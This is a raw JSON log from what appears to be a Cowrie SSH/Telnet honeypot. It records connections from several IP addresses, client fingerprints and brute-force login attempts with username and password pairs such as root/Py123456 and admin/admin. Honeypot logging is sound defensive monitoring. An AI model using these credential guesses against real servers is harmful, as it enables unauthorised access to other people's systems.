{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:22.447276Z","src_ip":"45.123.217.22","session":"983850f017a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:22.681276Z","src_ip":"45.123.217.22","session":"983850f017a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Py123456","message":"login attempt [root/Py123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:23.652846Z","src_ip":"45.123.217.22","session":"983850f017a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38624,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1754f5d855","protocol":"ssh","message":"New connection: 91.92.40.36:38624 (10.17.0.5:22) [session: 6c1754f5d855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:24.851705Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:24.900675Z","src_ip":"45.123.217.22","session":"983850f017a7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:26.401976Z","src_ip":"91.92.40.36","session":"6c1754f5d855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:26.404999Z","src_ip":"91.92.40.36","session":"6c1754f5d855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:26.744735Z","src_ip":"91.92.40.36","session":"98cb0ffbf28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40486,"dst_ip":"159.203.135.109","dst_port":22,"session":"46b4eb6d2028","protocol":"ssh","message":"New connection: 87.251.79.125:40486 (159.203.135.109:22) [session: 46b4eb6d2028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:27.627037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:27.636968Z","src_ip":"87.251.79.125","session":"46b4eb6d2028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:27.709987Z","src_ip":"87.251.79.125","session":"46b4eb6d2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18041981","message":"login attempt [root/18041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:27.924713Z","src_ip":"87.251.79.125","session":"46b4eb6d2028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b7f432871a","protocol":"telnet","message":"New connection: 172.81.62.90:33434 (159.203.135.109:23) [session: 44b7f432871a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:28.022319Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33446,"dst_ip":"159.203.135.109","dst_port":23,"session":"8694b87451a9","protocol":"telnet","message":"New connection: 172.81.62.90:33446 (159.203.135.109:23) [session: 8694b87451a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:28.600044Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:28.999786Z","src_ip":"87.251.79.125","session":"46b4eb6d2028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b681aefd2d37","protocol":"ssh","message":"New connection: 103.82.20.28:43830 (10.17.0.5:22) [session: b681aefd2d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:29.293987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:29.298134Z","src_ip":"103.82.20.28","session":"b681aefd2d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:29.561714Z","src_ip":"103.82.20.28","session":"b681aefd2d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240683","message":"login attempt [root/240683] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:30.353927Z","src_ip":"103.82.20.28","session":"b681aefd2d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:31.619409Z","src_ip":"103.82.20.28","session":"b681aefd2d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32502,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fc217574588","protocol":"ssh","message":"New connection: 91.92.40.36:32502 (10.17.0.5:22) [session: 8fc217574588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:32.131546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:35.176002Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:35.179754Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:35.310412Z","src_ip":"91.92.40.36","session":"6c1754f5d855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rosa","password":"rosa","message":"login attempt [rosa/rosa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:36.497527Z","src_ip":"91.92.40.36","session":"98cb0ffbf28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:38.257100Z","src_ip":"91.92.40.36","session":"6c1754f5d855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:40.014586Z","src_ip":"91.92.40.36","session":"98cb0ffbf28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51512,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f269968fad9","protocol":"ssh","message":"New connection: 91.92.40.36:51512 (10.17.0.5:22) [session: 4f269968fad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:40.739675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:42.204011Z","src_ip":"91.92.40.36","session":"4f269968fad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:42.207732Z","src_ip":"91.92.40.36","session":"4f269968fad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":34016,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a77a7e266f4","protocol":"ssh","message":"New connection: 102.213.34.99:34016 (159.203.135.109:22) [session: 3a77a7e266f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:45.797743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:45.805507Z","src_ip":"102.213.34.99","session":"3a77a7e266f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:45.835639Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:45.977446Z","src_ip":"102.213.34.99","session":"3a77a7e266f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7758521","message":"login attempt [root/a7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:46.692130Z","src_ip":"102.213.34.99","session":"3a77a7e266f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":54926,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae5dd0b000c0","protocol":"ssh","message":"New connection: 102.210.148.92:54926 (159.203.135.109:22) [session: ae5dd0b000c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:47.096943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:47.101350Z","src_ip":"102.210.148.92","session":"ae5dd0b000c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:47.339109Z","src_ip":"102.210.148.92","session":"ae5dd0b000c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:47.834622Z","src_ip":"91.92.40.36","session":"4f269968fad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:47.864426Z","src_ip":"102.213.34.99","session":"3a77a7e266f4","protocol":"ssh"}
